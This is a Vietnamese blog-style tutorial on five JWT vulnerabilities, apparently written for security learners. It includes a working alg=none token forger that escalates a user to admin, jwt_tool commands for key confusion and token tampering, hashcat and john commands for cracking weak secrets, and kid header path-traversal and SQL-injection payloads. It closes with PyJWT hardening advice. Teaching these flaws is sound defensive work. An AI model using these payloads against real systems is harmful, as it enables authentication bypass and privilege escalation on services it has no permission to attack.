JWT Security: 5 lỗ hổng phổ biến và cách khai thác

JWT (JSON Web Token) được dùng rộng rãi cho authentication, nhưng implementation sai dẫn đến nhiều lỗ hổng nghiêm trọng. Bài này phân tích 5 lỗ hổng phổ biến nhất.

Cấu trúc JWT

# JWT gồm 3 phần, cách nhau bởi dấu chấm:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6ImRhbmgiLCJyb2xlIjoidXNlciJ9.signature

# Header (base64url decoded):
{"alg": "HS256", "typ": "JWT"}

# Payload (base64url decoded):
{"sub": "1234", "name": "danh", "role": "user"}

# Signature: HMACSHA256(base64url(header) + "." + base64url(payload), secret)

1. Algorithm Confusion — None algorithm

import base64, json

def b64url_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()

# Tạo JWT giả với alg=none
header  = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234", "name": "danh", "role": "admin"}  # ← escalate!

fake_jwt = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(fake_jwt)
# Nếu server accept → bypass authentication hoàn toàn

2. HS256 với Public Key — RS256 to HS256

# Một số server dùng RS256 (asymmetric), public key public
# Nếu chuyển alg sang HS256 và ký bằng public key...
# Server verify bằng public key với HS256 → match!

# Tool: jwt_tool
python3 jwt_tool.py TOKEN -X k -pk public.pem

3. Weak Secret — Brute Force

# jwt_tool brute force
python3 jwt_tool.py TOKEN -C -d rockyou.txt

# hashcat
hashcat -a 0 -m 16500 token.txt rockyou.txt

# john
john --wordlist=rockyou.txt --format=HMAC-SHA256 hash.txt

4. JWT Header Injection — kid parameter

# kid (key ID) chỉ định file chứa secret key
# Nếu server dùng: secret = readFile(header.kid)

# Exploit 1: Path traversal
{"alg": "HS256", "kid": "../../dev/null"}
# secret = "" (empty) → ký token với empty string

# Exploit 2: SQL injection trong kid
{"alg": "HS256", "kid": "' UNION SELECT 'mykey'-- -"}
# secret = "mykey" → ký với key đã biết

# Tạo token exploit
python3 jwt_tool.py TOKEN -T -S hs256 -p ""

5. Expired Token Acceptance

# Xóa hoặc thay đổi exp claim
# Một số server không check expiration!

payload = {
    "sub": "1234",
    "role": "admin",
    # Không có "exp" field → không bao giờ hết hạn
}

Phòng chống

# Python — best practices với PyJWT
import jwt

# LUÔN chỉ định algorithms được phép
payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],  # KHÔNG dùng ["HS256", "none"]
    options={"verify_exp": True}  # check expiration
)

# Dùng secret key đủ mạnh (>= 256 bits)
import secrets
SECRET_KEY = secrets.token_hex(32)

# Với production: dùng RS256 và giữ private key an toàn

Leave a Comment